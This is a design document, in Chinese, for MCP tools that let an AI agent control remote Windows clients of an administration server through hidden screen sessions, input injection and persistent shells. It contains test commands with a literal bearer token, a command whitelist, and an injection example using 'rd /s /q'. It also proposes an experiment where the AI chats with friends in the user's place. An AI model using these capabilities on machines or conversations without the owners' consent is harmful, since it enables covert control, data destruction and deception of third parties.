- 新增成员:`bool m_remoteControlEnabled=false;` 及 `std::mutex m_ScreenCtrlMutex; std::condition_variable m_ScreenCtrlCv; std::map<context*,uint64_t> m_ScreenCtrlContextToDevice; std::map<uint64_t,ScreenCtrlSession> m_ScreenCtrlSessions;`(或复用 WebService 的 `m_ScreenContexts` 生命周期,见下)。
### 13.2 `server/2015Remote/McpServer.cpp`
- 新增 4 个 schema 构建器 + 3 个 handler:`BuildRemoteOpen/Close/Mouse/Keyboard`(镜像 `BuildTerminalOpen` 等,`BuildToolsListResult` ~1278 后加条目,`BuildToolsCall` ~2124 加分派)。
- `remote_open`:`SweepIdleScreenCtrl` → `ResolveScreenCtrlSessionHost` → 已有会话 `-32003` → `GenerateRandomToken` → **复用 Web 远程桌面的会话建立路径 `WebService::StartRemoteDesktop`(1725)**(发 `COMMAND_SCREEN_SPY` → 以 `SW_HIDE` 打开隐藏 `CScreenSpyDlg` 持有子连接 → 客户端子连接到达 → `RegisterScreenContext` 记入 `m_ScreenContexts`)→ 等 `TOKEN_BITMAPINFO` 取 `screenW/H` → `COMMAND_NEXT` → 审计 → 返回 `{session_id, screen_w, screen_h}`。**注意:屏幕子连接/帧 DIB/`TOKEN_BITMAPINFO` 处理都与 `CScreenSpyDlg` 耦合,不要另造无对话框持有者——沿 Web 的隐藏对话框路径是低风险正解。**
- `remote_mouse/keyboard`:`ResolveScreenCtrlSessionHost` → 校验 `session_id`/`busy` → 归一化→物理像素(`round(norm * screenW/H)` + clamp)→ **复用 `WebService::HandleMouse/HandleKey` 的 `MSG64` 构造**(或抽取成共享 helper `BuildMouseMsg64/BuildKeyMsg64`,避免 MCP 与 Web 两处重复)→ `subCtx->Send2Client([COMMAND_SCREEN_CONTROL][MSG64])` → 审计。
- `remote_close`:幂等 `CloseScreenCtrlSession`(不存在 → `{closed:true}`;sid 不匹配 → `-32002`)→ 锁外 `CancelIO` → 审计。
- `OnScreenControlClosed`:镜像终端修复点——空闲会话直接擦路由+会话,busy 会话唤醒等待线程由其清理。
- `SweepIdleScreenCtrl`:镜像 `SweepIdleTerminals`(`difftime` 防时钟回拨)。
### 13.3 `server/2015Remote/McpSettingsDlg.h/.cpp`
- 新增复选框 `IDC_MCP_REMOTECONTROL = 1008`,文案 `_TR("启用远程控制(AI 操控桌面)")`;回填/落盘 `McpRemoteControl`;对话框高度 +30。
### 13.4 `server/2015Remote/2015RemoteDlg.cpp`
- 启动读配置处加 `McpServer().SetRemoteControlEnabled(THIS_CFG.GetInt("settings","McpRemoteControl",0)!=0);`。
- `OfflineProc` 加 `if (McpServer().IsRunning() && McpServer().IsScreenCtrlContext(ContextObject)) McpServer().OnScreenControlClosed(ContextObject);`(复刻终端修复点)。
### 13.5 语言文件
- 沿用终端约定:MCP 相关文案本就在 `lang/*.ini` 无条目(`_TR` 对未命中键原样返回中文)。若日后翻译,用 **GBK 工具**改 `lang/{en_US,zh_TW}.ini`(ANSI/GBK,**不能用 Write/Edit 直接写**)。
---
## 14. 关键点(实现时务必遵守)
- **P1(坐标一致性,最重要)**:归一化坐标映射所用 `screenW/H` 必须与**当前截图来源的分辨率**一致。阶段一单屏下 `TOKEN_BITMAPINFO` 的主屏尺寸 == 截图主屏物理尺寸,才成立;任何「用虚拟桌面尺寸映射主屏截图」都会造成系统性偏移(最佳实践第一大坑)。
- **P2(注入走子连接)**:`COMMAND_SCREEN_CONTROL` **必须**经 `GetScreenContext` 取得的子连接发送,主连接无效。
- **P3(锁外 CancelIO)**:所有 `CancelIO` 在 `m_ScreenCtrlMutex` 之外(终端 P2 教训)。
- **P4(复用勿重写)**:`MSG64` 构造逻辑复用 `WebService::HandleMouse/HandleKey`;理想做法抽共享 helper,否则未来两处漂移。
- **P5(并发串行化)**:`remote_mouse` 高频并发,状态全部走锁;勿假定请求串行(终端 P5 教训)。
- **P6(session_id 独立随机 + 互斥)**:会话 token 用 `GenerateRandomToken`;单设备单会话;与人类远程桌面观看互斥(`-32003`)。
- **P7(非黑盒)**:不实现 `perform_task`;循环归宿主/AI,YAMA 只出原语(D2)。
---
## 15. 验证(端到端,127.0.0.1:6544,Bearer `a2176213eddcf0acfdb285940ec4eb2a`)
前置:设置开 `McpEnabled=1`、`McpReadonly=0`、`McpRemoteControl=1`;目标 Windows 客户端在线、已登录桌面。`id` 取 `list_online_hosts` 的十进制主机 id。
```bash
B='Authorization: Bearer a2176213eddcf0acfdb285940ec4eb2a'
U=http://127.0.0.1:6544/mcp
# 1) tools/list 应出现 remote_open/close/mouse/keyboard 四个工具
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'
# 2) 打开会话 → session_id + screen_w/h
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"remote_open","arguments":{"id":"<HOSTID>"}}}'
# 3) Observe:截图(复用)
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"get_screenshot","arguments":{"id":"<HOSTID>","max_width":1280}}}'
# 4) Act:移动 + 单击(归一化坐标,0.5,0.5 = 屏幕中心)
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"remote_mouse","arguments":{"id":"<HOSTID>","session_id":"<SID>","action":"move","x":0.5,"y":0.5}}}'
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":5,"method":"tools/call","params":{"name":"remote_mouse","arguments":{"id":"<HOSTID>","session_id":"<SID>","action":"click","x":0.5,"y":0.5,"button":"left"}}}'
# 5) 键盘:按下并抬起 Ctrl+Esc 或输入文本
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":6,"method":"tools/call","params":{"name":"remote_keyboard","arguments":{"id":"<HOSTID>","session_id":"<SID>","action":"key_press","key":"WIN"}}}'
# 6) 负例:未开会话/错误 sid → -32002;已开会话再 open → -32003;只读/开关关 → -32006
# 7) 关闭 + 幂等关闭
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":9,"method":"tools/call","params":{"name":"remote_close","arguments":{"id":"<HOSTID>","session_id":"<SID>"}}}'
# 8) 审计链
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":12,"method":"tools/call","params":{"name":"get_audit_log","arguments":{}}}'
```
人工核对:注入后目标机光标/焦点确实变化;审计列表出现标题「MCP远程控制」的 open/close/mouse/keyboard 条目;闲置 >300s 后旧 `session_id` 调用 → `-32002`。编译由你以 VS2019(MSBuild v143)完成;我侧仅代码审查(工具集 v142,无法在此构建)。
---
## 16. 涉及文件
- `server/2015Remote/McpServer.h` / `.cpp`(会话状态机 + schema + handler + 分派)
- `server/2015Remote/McpSettingsDlg.h` / `.cpp`(新开关)
- `server/2015Remote/2015RemoteDlg.cpp`(启动读配置 + `OfflineProc` 清理钩子)
- `common/commands.h`(**只读参照**:`COMMAND_SCREEN_SPY`/`COMMAND_SCREEN_CONTROL`/`MSG64`/`COMMAND_SCREEN_PREVIEW_REQ` 等,无需改)
- `server/2015Remote/WebService.cpp`(**复用参照**:`HandleMouse`/`HandleKey`/`GetScreenContext`)
- `lang/{en_US,zh_TW}.ini`(可选,GBK 工具改)
---
## 17. 实验案例:AI 代聊(chat-on-behalf)
> 目标:以「AI 通过远程桌面,在聊天软件里代表你与朋友聊天」为第一个实验用例,验证整条「看 → 想 → 动 → 确认」链路。低风险、目标清晰、信号明确(有新消息 / 已发出)。
### 17.1 闭环
1. `list_windows` 找到聊天窗口(`hwnd`/`title`)。
2. `remote_focus_window`(或 `remote_mouse` 点击输入框)聚焦聊天窗。
3. 抓**聊天窗口**高分辨率截图 → 视觉模型读出朋友最新消息。
4. 模型生成回复。
5. `remote_clipboard` 把回复写入远程剪贴板(UTF-8)。
6. `remote_keyboard` 注入 `Ctrl+V`(粘贴)+ `Enter`(发送)。
7. 再截图确认已发出,等待下一条。
### 17.2 两个已验证的关键依赖
- **中文输入(走剪贴板,已解决)**:见 §6.4。`COMMAND_SCREEN_SET_CLIPBOARD`(25) 为 ANSI/GBK(`CF_TEXT`),中文可经 `ToAnsi(utf8, 936)` 直发跑通 MVP;要支持 emoji/完整 Unicode,复用 `COMMAND_C2C_TEXT`(90) 的 UTF-8→`CF_UNICODETEXT` 逻辑或新增 UTF-8 变体。客户端 `KernelManager.cpp:1590` 已内置「设剪贴板后自动模拟 Ctrl+V」。
- **读消息(需窗口抓屏)**:`get_screenshot` 抓整屏,缩到 1280 后聊天文字过小、OCR 易错。用 `COMMAND_SCREEN_WINDOW`(153) 按窗口抓取聊天窗(更高有效分辨率),或对该区域用更高 `max_width`。
### 17.3 使能清单(相对现有代码的增量)
| 能力 | 状态 | 复用点 |
|---|---|---|
| `get_screenshot` / `list_windows` | ✅ 已有 | — |
| 剪贴板写入 | ⚠️ 客户端已有(GBK 直发可跑通),缺 MCP 封装 | `COMMAND_SCREEN_SET_CLIPBOARD`(25) / `COMMAND_C2C_TEXT`(90) |
| `remote_open` / `remote_close`(屏幕子连接) | ❌ 待建 | `COMMAND_SCREEN_SPY`(16) 建立逻辑 `2015RemoteDlg.cpp:8443` |
| `remote_mouse` / `remote_keyboard` | ❌ 待建 | `WebService::HandleMouse/HandleKey` |
| `remote_focus_window` | ❌ 待建 | `COMMAND_SCREEN_WINDOW`(153) |
| `remote_clipboard` | ❌ 待建 | 见 §6.4 |
### 17.4 最小 MVP 实施顺序(按依赖)
1. `remote_open` / `remote_close`(屏幕子连接 + `TOKEN_BITMAPINFO` 取分辨率)。
2. `remote_keyboard`(先只做 `key_press`/`type` + 修饰键,够发 `Ctrl+V`/`Enter`)。
3. `remote_mouse`(`click`/`move`,用于点输入框;聚焦可用点击替代)。
4. `remote_clipboard`(先 GBK 直发跑通,再上 UTF-8 变体)。
5. `remote_focus_window`(或用步骤 3 的点击替代,二选一即可跑通)。
> 1→2→3 已足以发出一条消息(点输入框 + 粘贴 + 回车);4 是中文关键路径;5 是体验优化,可后置。
### 17.5 实验注意事项
- 目标机必须**已登录且未锁屏**(锁屏/UAC 安全桌面下抓屏与注入均失效,§12.1)。
- 「代聊」会让朋友误以为是真人在聊——实验前建议告知对方;避免让 AI 在承诺/隐私等话术上自由发挥(§9.4 的人工确认原则同样适用)。
- 新消息检测先用「轮询截图」即可(MVP 接受),后续用未读角标/窗口通知优化(§17.6)。
### 17.6 后续优化(非 MVP)
- 新消息触发:从「定时截图」改为「未读角标/窗口通知驱动」,大幅省 token。
- 窗口定向抓屏(`COMMAND_SCREEN_WINDOW`)并入 `remote_screenshot`。
- 会话历史:AI 保留最近几轮聊天上下文,避免回复脱节(宿主侧滚动缓冲,§3)。
---
## 参考(行业最佳实践)
- Anthropic《Best practices for computer and browser use with Claude》— https://claude.com/fr/blog/best-practices-for-computer-and-browser-use-with-claude
- Anthropic 参考实现 `computer.py`(动作枚举、缩放、坐标换算)— https://github.com/anthropics/claude-quickstarts/blob/main/computer-use-demo/computer_use_demo/tools/computer.py
- 《How Claude Computer Use Works: Architecture Internals》— https://callsphere.ai/blog/how-claude-computer-use-works-architecture-internals
+471
View File
@@ -0,0 +1,471 @@
# MCP 远程命令与持久终端 — 设计与实现
> 本文档覆盖 MCP 侧两类**命令执行**能力:
> 1. **一次性命令 `exec_command`**(P3a)—— 每次新建一个 shell、跑一条命令、读完即关。
> 2. **持久终端 `terminal_open` / `terminal_exec` / `terminal_close`**(P4)—— 同一主机**一个** shell 会话,跨命令保持 cwd 与环境变量。
>
> 阅读顺序建议:先读 `docs/Mcp_Design.md`(Phase 1:HTTP 协议、token 校验、配置、`list_online_hosts`)与 `docs/Mcp_Phase2_Design.md`(模式 A/A′/B、工具路线图、P2a–P3a 概要),再读本文档的**实现级细节**。本文档是后续人员 / 大模型接手与排查问题的主参考。
---
## 1. 术语与总览
| 术语 | 含义 |
|---|---|
| **一次性命令** | `exec_command`:无状态,每次独立 shell,命令结束即 `CancelIO` 关闭子链接。 |
| **持久终端** | `terminal_open`→`terminal_exec`×N→`terminal_close`:有状态,cwd/env 跨命令保持。 |
| **哨兵(sentinel)** | 包装在命令尾部的一段随机标记,用于在输出流里定位「命令真实退出码」并截断输出。 |
| **子链接(sub-connection / `context*`)** | 客户端为 shell 建立的独立网络连接,`context` 是其服务端句柄。 |
| **主连接(`FindMainContext`)** | 客户端与控制端的常驻长连接,用于下发 `COMMAND_*`。 |
| **isPty** | `true`=ConPTY(UTF-8,`cp=CP_UTF8`);`false`=老 cmd 管道(GBK,`cp=936`)。 |
两类能力**共享同一套底层机制**(终端链路、编码、哨兵、状态机 map、审计),区别只在**生命周期**(一次性 vs 保持)与**安全门**(白名单 vs 无白名单 + 独立开关)。这也是为什么它们会互相排他(见 §6.3)。
---
## 2. 共享基础设施
### 2.1 客户端终端链路(两种能力通用)
无论一次性还是持久,shell 的建立过程完全相同:
```
服务端 客户端
│ COMMAND_SHELL(主连接) ──► 客户端创建 shell 子连接
│ ◄── TOKEN_SHELL_START 或 TOKEN_TERMINAL_START(子连接)
│ ↓ MessageHandle 顶部判定 IsTermPending → 交给 RegisterTerminalContext 接管
│ COMMAND_NEXT(+ 若 PTY 先发 CMD_TERMINAL_RESIZE 80x24)──► 客户端启动 shell 输出回流
│ ◄── 持续 shell 输出(TOKEN_TERMINAL_DATA 之类,经 IsTerminalContext 路由到 OnTerminalData)
│ ◄── TOKEN_TERMINAL_CLOSE(shell 进程退出)→ OnTerminalClosed
```
关键点:
- **`COMMAND_NEXT` 不能漏发**——客户端读线程靠它才启动输出回流,漏发会导致 shell 在跑但输出永不送回(`RegisterTerminalContext` 内的注释明确强调)。
- **PTY 需先告知初始尺寸 80×24**,否则 TUI 尺寸错乱。
- `TOKEN_SHELL_START` 与 `TOKEN_TERMINAL_START` 二选一:老 `ShellManager`(cmd 管道)回前者,ConPTY 回后者;服务端在 `MessageHandle` 里据此判定 `isPty`。
### 2.2 编码
| isPty | 底层 | 服务端 cp |
|---|---|---|
| `true` | ConPTY | `CP_UTF8` |
| `false` | 老 cmd 管道 | `936`(GBK) |
- **发送方向**:命令/哨兵行先 UTF-8 组好,再 `ToAnsi(line, cp)` 转成客户端编码,追加 `"\r\n"`。
- **接收方向**:原始字节 `ToUtf8(raw, cp)` 转回 UTF-8。
- 哨兵是纯 ASCII,两种编码下字节一致,编码无关。
### 2.3 哨兵机制
命令被包装成一行复合命令:
```
[@echo off & ] <cmd> 2>&1 && echo __MCP_DONE_<nonce>__0 || echo __MCP_DONE_<nonce>__1
```
- `@echo off & ` **仅 ConPTY 需要**(抑制 ConPTY 把输入整行回显)。老 `ShellManager` 已自行跳过回显,加 `@echo off` 反而破坏它的回显跳过逻辑。
- `&&` / `||` 控制操作符取**命令真实退出码**(`%errorlevel%` 在复合句中解析期展开、已过期,故不能用 `%errorlevel%`)。
- `<nonce>` 为 8 位随机 hex(`GenerateRandomToken().substr(0,8)`),保证命令真实输出不可能恰好包含完整哨兵串。
- `2>&1` 让 stderr 也走哨兵链,stdout/stderr 都能被捕获且退出码正确。
**`FindSentinel`(检测)** 用 `rfind` **从后往前**找,且要求哨兵在**行首**(`p==0` 或前一个字节是 `\n`),后跟 `0` 或 `1`:
```cpp
size_t from = npos;
while (true) {
size_t p = s.rfind(marker, from);
bool lineStart = (p == 0) || (s[p-1] == '\n');
if (lineStart && s[p+marker.size()] 是 '0' 或 '1') { exitCode=...; pos=p; return true; }
from = p - 1;
}
```
为什么要「从后往前 + 行首」:ConPTY 会把**整条命令行回显**进输出流,回显里的哨兵字样嵌在 `&& echo ... || echo ...` 中间、前面是空格(非行首)。若用 `rfind` 直取,回显包先于真实输出到达时会命中回显里的 `__1` 提前结束、截断真实输出。行首校验能排除回显行。老 `ShellManager` 无回显,输出里只有真实哨兵(仍在行首),逻辑一致。
### 2.4 输出清洗管线
从原始字节到返回 `stdout` 字符串,固定五步(`CleanTerminalOutput`,一次性命令为内联等价逻辑):
```
raw 字节
→ ToUtf8(raw, cp) 按 2.2 编码解码
→ StripAnsi(...) 剥 CSI/OSC/单字节 ESC,去彩色码
→ CRLF → LF "\r\n" 归一为 "\n"
→ StripEchoedCommand(stdout, sentLine) 剔 ConPTY 输入行回显(见下)
→ TrimRight(...) 去尾部空白
```
**`StripEchoedCommand`(回显剔除)**:ConPTY 的 `ENABLE_ECHO_INPUT` 会在 `@echo off` 生效**之前**把整条输入命令行回显进输出流。修复方法是在**服务端**把「刚发送的、含唯一 nonce 的完整命令行」(`SendTerminalCommandLine` 的返回值)从输出里整行 `find` + 剔除:
```cpp
static std::string StripEchoedCommand(const std::string& s, const std::string& echoedLine) {
if (echoedLine.empty() || s.empty()) return s;
size_t p = s.find(echoedLine);
if (p == npos) return s;
size_t q = p + echoedLine.size();
if (q < s.size() && s[q] == '\n') ++q; // CRLF 已归一为 \n
return s.substr(0, p) + s.substr(q);
}
```
- 因 `echoedLine` 含随机 nonce,命令真实输出不可能恰好相同 → 不会误删合法输出。
- 老 `ShellManager` 无回显,`find` 不到该行 → 无操作,安全。
### 2.5 状态机与互斥(两类能力共用)
```cpp
struct TermSession {
bool started; // false=已发 COMMAND_SHELL 待 START;true=已接管
context* subCtx; // shell 子连接上下文
bool isPty; // ConPTY(UTF-8) / cmd 管道(GBK)
std::string command; // 原始 UTF-8 命令(审计用)
std::string nonce; // 哨兵随机串
std::vector<BYTE> data; // 收集的原始 shell 输出
size_t sentPos; // 哨兵在 data 中的位置
int exitCode; // 0/1/-1
bool done; // 哨兵命中
bool closed; // TOKEN_TERMINAL_CLOSE(进程退出)
// ── 以下为持久终端新增 ──
std::string sessionId; // 持久会话 token(一次性 exec 为空)
bool persistent; // 是否持久会话
bool busy; // 一条命令在飞(terminal_exec 复位 → WaitTermCommand 返回)
time_t lastActiveAt; // idle 回收用(秒)
};
std::mutex m_TermMutex; // 保护下面两个 map
std::condition_variable m_TermCv;
std::map<uint64_t, TermSession> m_TermSessions; // device_id → 会话
std::map<context*, uint64_t> m_TermContextToDevice; // subCtx → device_id(顶部路由)
```
- `m_TermContextToDevice` 是**反向索引**:`MessageHandle` 顶部用 `IsTerminalContext(subCtx)` 判定「这个子链接的输出是否该路由到 MCP 的 `OnTerminalData`,而不是打开 MFC 终端对话框」。
- `httplib` 默认多线程处理请求 → **多个 `tools/call` 会并发**。所有会话状态都靠 `m_TermMutex` + `busy` 串行化,**不要假定请求串行**。
---
## 3. 一次性命令 `exec_command`
### 3.1 安全门(顺序)
```
ParseHostIdArg → -32602 参数非法
FindMainContext → -32002 主机不存在/离线
clientType==LNX/MAC → -32005 仅 Windows
command 为空 → -32602
mcp.IsReadonly() → -32006 只读模式默认开,需 McpReadonly=0
含 &|<>^ 五元字符 → -32008 防注入绕过白名单
含控制字符(\r\n 等 <0x20) → -32008 防换行拆分绕过白名单
白名单前缀校验 → -32007 不在白名单
```
- **白名单**:`IsCommandAllowed` 做「trim + ASCII 小写后前缀匹配」,且前缀后须为空/空格/制表符(防 `dirx` 误配 `dir`)。配置为空时回落到内置 `kDefaultCmdWhitelist`:
```
dir,type,cd,chdir,ver,hostname,whoami,where,tasklist,systeminfo,ipconfig,netstat,
path,set,find,findstr,reg query,sc query,
ping,tracert,nslookup,getmac,driverquery,query,gpresult,
arp -a,route print,schtasks /query
```
- **元字符门 `&|<>^`** 是**安全门**(拒绝 shell 注入/命令拼接),比持久终端的 `&|` 更严。
- **控制字符门**:同时拒绝所有 `<0x20` 的控制字符(`\r`/`\n` 等)。否则 `dir \n rd /s /q ...` 这种带内嵌换行的命令会通过「前缀 `dir` + 空格」的白名单校验,却在 `cmd.exe` 里被换行拆成两条独立命令、执行任意后续行——彻底绕过只读白名单。这是 2026-08-24 独立审查发现并修复的**安全漏洞**。
### 3.2 流程
```
BeginTermPending(devId, command, nonce) → false 则 -32003(该 host 已有终端会话)
ctx->Send2Client(COMMAND_SHELL) → 失败 ClearTermPending + -32004
WaitTerminalReady(devId, subCtx, isPty, timeoutMs)
→ 超时 -32001(内部已自清理)
组哨兵行 Send2Client (见 §2.3)
WaitTerminalDone(devId, raw, exitCode, closed, timeoutMs)
→ 超时 -32001(内部已自清理 + 调用方 CancelIO)
subCtx->CancelIO() ← 一次性:读完即关子链接,结束 shell
清洗输出(§2.4)
审计:PostMessageA(WM_SHOWERRORMSG, ..., "MCP命令执行")
返回 { stdout, exit_code }
```
### 3.3 `WaitTerminalDone` 三态(一次性专用)
- **哨兵命中(done)**:`out` = `data[0..sentPos)`(截断到哨兵前),`exitCode=0/1`,**擦除会话+路由**,返回 true。
- **进程退出(closed)**:`out` = 全部 `data`(无哨兵),`exitCode=-1`,擦除会话+路由,返回 true。
- **超时**:擦除会话+路由,返回 false(调用方 `CancelIO`)。
---
## 4. 持久终端 `terminal_open` / `terminal_exec` / `terminal_close`
### 4.1 工具契约
| 工具 | 入参(required) | 出参 |
|---|---|---|
| `terminal_open` | `id`(+`timeout_ms`) | `session_id`(32hex)、`is_pty`(bool) |
| `terminal_exec` | `id`、`session_id`、`command`(+`timeout_ms`) | `stdout`、`exit_code` |
| `terminal_close` | `id`、`session_id` | `closed`(bool,恒 true) |
`session_id` 由服务端 `GenerateRandomToken()` 生成(32 hex / 128 bit)。
### 4.2 共享前置 `ResolveTerminalSessionHost`
`terminal_open` / `terminal_exec` 复用(`terminal_close` 为幂等内联版,见 §4.5):
```
IsTerminalEnabled() && !IsReadonly() → -32006(需 McpTerminal=1 且 McpReadonly=0)
ParseHostIdArg → -32602
FindMainContext → -32002 主机不存在/离线
clientType==LNX/MAC → -32005 仅 Windows
```
### 4.3 `terminal_open`
```
SweepIdleTerminals(300) ← 先回收闲置会话
ResolveTerminalSessionHost
sessionId = GenerateRandomToken()
BeginTermOpen(devId, sessionId) → false 则 -32003(单设备单终端)
ctx->Send2Client(COMMAND_SHELL) → 失败 ClearTermPending + -32004
WaitTerminalReady(...) → 超时 -32001(自清理)
审计 "term-open"
返回 { session_id, is_pty }
```
**关键**:`WaitTerminalReady` 成功后**不擦除会话**(与一次性相反)——会话要留给后续 `terminal_exec`。此时 `started=true`、`busy=false`,shell 空闲运行。
### 4.4 `terminal_exec`
```
SweepIdleTerminals(300)
ResolveTerminalSessionHost
session_id 为空 → -32602
command 为空 → -32602
command 含 & 或 | → -32008(正确性门,见 §4.6)
nonce = 随机 8 hex
BeginTermCommand(devId, sessionId, command, nonce, subCtx, isPty)
→ false 则 -32002(不存在/不匹配/未就绪/忙碌/已关)
sentLine = SendTerminalCommandLine(subCtx, isPty, command, nonce)
WaitTermCommand(devId, raw, exitCode, closed, timeoutMs)
→ 超时:subCtx->CancelIO() + -32001
→ closed:subCtx->CancelIO()(会话已被清理,仅对称无害)
stdoutStr = CleanTerminalOutput(raw, cp, sentLine)
审计 "term-exec [sessionId]: command"
返回 { stdout, exit_code }
```
**`WaitTermCommand` 三态(持久专用,与一次性不同)**:
- **哨兵命中(done)**:`busy=false`、刷新 `lastActiveAt`、`out` 截到 `sentPos`、**保留会话**,返回 true。← 这是「持久」的核心:命令完成后 shell 不关。
- **进程退出(closed)**:`out`=全部 `data`、`exitCode=-1`、**擦除会话+路由**,返回 true。
- **超时**:擦除会话+路由,返回 false(调用方 `CancelIO`)。
### 4.5 `terminal_close`
```
SweepIdleTerminals(300)
IsTerminalEnabled() && !IsReadonly() → -32006
ParseHostIdArg → -32602
session_id 为空 → -32602
CloseTermSession(devId, sessionId)
r==2(sessionId 不匹配) → -32002(防拼错静默泄漏真会话)
审计 "term-close"
返回 { closed: true }
```
`CloseTermSession` 返回值语义:**0**=已关闭;**1**=会话不存在(幂等,仍返回 `{closed:true}`);**2**=sessionId 不匹配(报错)。
### 4.6 正确性门 `&|`(非安全门)
`terminal_exec` **拒绝含 `&` 或 `|` 的命令**(`find_first_of("&|")`,含 `&&`/`||`/`|`),报 `-32008`。原因:哨兵包装 `cmd 2>&1 && echo ... || echo ...` 假定命令是「扁平」的,命令内含 `&`/`|` 会与包装的控制操作符合流、导致退出码失真/输出归属不清。
- 这是**正确性限制,不是白名单**——持久终端本就不设白名单。
- 同样拒绝 `<0x20` 的控制字符(`\r`/`\n`):换行会把命令拆成多行、只有末行被哨兵包装,导致退出码与输出归属失真。
- `> < ^`(重定向 / 转义)**允许**:不破坏哨兵链。AI 把链式/管道命令拆成多条 `terminal_exec` 调用即可(cwd/env 保持,等价)。
对比:一次性 `exec_command` 因有白名单,其元字符门更严(`&|<>^` 五元字符全拒,§3.1)。
---
## 5. 状态机方法明细
### 5.1 一次性命令专用
| 方法 | 作用 |
|---|---|
| `BeginTermPending(devId, cmd, nonce)` | 锁内登记会话;已有会话则 false(单设备单终端)。 |
| `WaitTerminalReady(devId, subCtx, isPty, timeout)` | 等 `started`;超时**擦除**并返回 false。成功输出 `subCtx`/`isPty`,**不擦**。 |
| `WaitTerminalDone(...)` | 等 `done||closed`;三态见 §3.3。 |
| `ClearTermPending(devId)` | 发送失败等提前退出路径的清理。 |
| `IsTermPending(devId)` | `MessageHandle` 判定是否有待接管的终端会话。 |
| `RegisterTerminalContext(devId, subCtx, isPty)` | 子连接就绪接管:置 `started/subCtx/isPty`、登记反向索引、发 `COMMAND_NEXT`(+PTY resize)、`notify_all`。 |
| `IsTerminalContext(subCtx)` | `MessageHandle` 顶部路由判定。 |
| `OnTerminalData(subCtx, data, len)` | 追加输出、`FindSentinel` 命中置 `done` + `notify`;`done||closed` 时忽略迟到数据。 |
| `OnTerminalClosed(subCtx)` | 置 `closed`;空闲持久会话直接擦;`notify_all` 唤醒 busy 等待线程。 |
### 5.2 持久终端专用
| 方法 | 作用 |
|---|---|
| `BeginTermOpen(devId, sessionId)` | 锁内建持久会话(`persistent=true`、`lastActiveAt=now`);已有会话 false。 |
| `BeginTermCommand(devId, sid, cmd, nonce, subCtx, isPty)` | 锁内校验「persistent && sid 匹配 && started && !busy && !closed」→ 置 `busy=true`、**原子复位** `data/sentPos/exitCode/done/closed`、更新 `command/nonce/lastActiveAt`。 |
| `WaitTermCommand(...)` | 等 `done||closed`;三态见 §4.4。 |
| `CloseTermSession(devId, sid)` | 不存在→1;sid 不匹配→2;`busy` 时仅置 `closed`+notify(交等待线程清理,防双重擦除);非 busy 直接擦+锁外 `CancelIO`。 |
| `SweepIdleTerminals(idleTimeoutSec)` | 回收 `persistent && !busy && difftime(now,lastActiveAt)>idle` 的会话;收集后锁外 `CancelIO`。 |
### 5.3 `OnTerminalClosed` 的泄漏修复
`OnTerminalClosed` 有**两个入口**:
1. `MessageHandle` 的 `TOKEN_TERMINAL_CLOSE` 分支(客户端 shell 优雅退出时发 token)。
2. `OfflineProc`(`2015RemoteDlg.cpp`)——连接**骤然断开**(网络断/客户端崩溃,无 token)时,与 `WebService().OnTerminalClosed` 并列调用 `McpServer().OnTerminalClosed`。此入口是 2026-08-24 独立审查发现缺失并补齐的:否则骤断的持久终端会话会在 `m_TermSessions`/`m_TermContextToDevice` 里留悬空 `subCtx`,连接池复用地地址后会误路由新连接、甚至 `CancelIO` 掉无关连接。
shell 进程退出时,若是一个**空闲持久会话**(`persistent && !busy && started`),没有等待线程会清理它,会泄漏死 `subCtx`。故:
```cpp
s.closed = true;
if (s.persistent && !s.busy && s.started) {
m_TermContextToDevice.erase(subCtx); // 空闲持久会话:直接擦(无需 CancelIO,已死)
m_TermSessions.erase(sit);
}
m_TermCv.notify_all(); // busy 场景唤醒等待线程由其清理;一次性 exec 路径不变
```
---
## 6. 并发模型与不变量
### 6.1 关键不变量
- **`CancelIO` 一律在 `m_TermMutex` 之外**(所有路径:`BuildExecCommand`、`BuildTerminalExec`、`CloseTermSession`、`SweepIdleTerminals`)。这是硬约束——`CancelIO` 可能阻塞/回调,锁内调用会死锁。
- **`wait_for` 期间不持有会被他人擦除的迭代器**:等待线程(`WaitTermCommand`)持 `it`,但**只有它自己**会在超时/closed 路径擦除该会话;`terminal_close`/`sweep` 因 `busy` 标志而**不会**擦除「正在等待的命令」的会话。这就是 `busy` 标志的核心作用。
- **单设备单终端**:`terminal_*` 与 `exec_command` 因**共享 `m_TermSessions`** 而互斥(双向 `-32003`)。`BeginTermPending` 与 `BeginTermOpen` 都做「已有会话则 false」。
### 6.2 `busy` 标志生命周期
```
terminal_exec: BeginTermCommand 置 busy=true
Send2Client
WaitTermCommand 返回时:
done 路径 → busy=false(保留会话)
closed 路径 → 会话被擦除
超时路径 → 会话被擦除
terminal_close(会话忙时)→ 仅置 closed=true + notify,不擦,交等待线程清理
```
### 6.3 互斥矩阵
| | `exec_command` | `terminal_*` | `list_files`/`get_screenshot` 等 |
|---|---|---|---|
| `exec_command` | 互斥(-32003) | 互斥(-32003) | 无关(各用 `m_Pending`) |
| `terminal_*` | 互斥 | 单设备单终端 | 无关 |
> Web 终端与 MCP 终端各用独立 map,理论上可同设备并存(既有现象,非本次范围)。
### 6.4 idle 回收语义
`SweepIdleTerminals(300)`:`lastActiveAt` 在 `BeginTermOpen` / `BeginTermCommand` **(命令开始时)**更新,**命令完成后不刷新**。因此「两次命令间隔 < 300s」的活跃会话安全;「一次长命令 + 长时间无新命令」的会话会在最后一次命令开始 300s 后被回收。回收是非惰性的——每次 `terminal_*` 入口先 sweep,所以空闲会话不会在无请求时被后台主动关闭(但也不占后台定时器资源)。用 `difftime` 比较防时钟回拨下溢。
---
## 7. 安全模型
| 维度 | `exec_command` | 持久终端 |
|---|---|---|
| 开关 | `McpReadonly=0` | `McpTerminal=1` **且** `McpReadonly=0`(默认 `McpTerminal=0`) |
| 白名单 | 有(内置/自定义前缀白名单) | **无**(完整 shell,可写命令、重定向、改环境) |
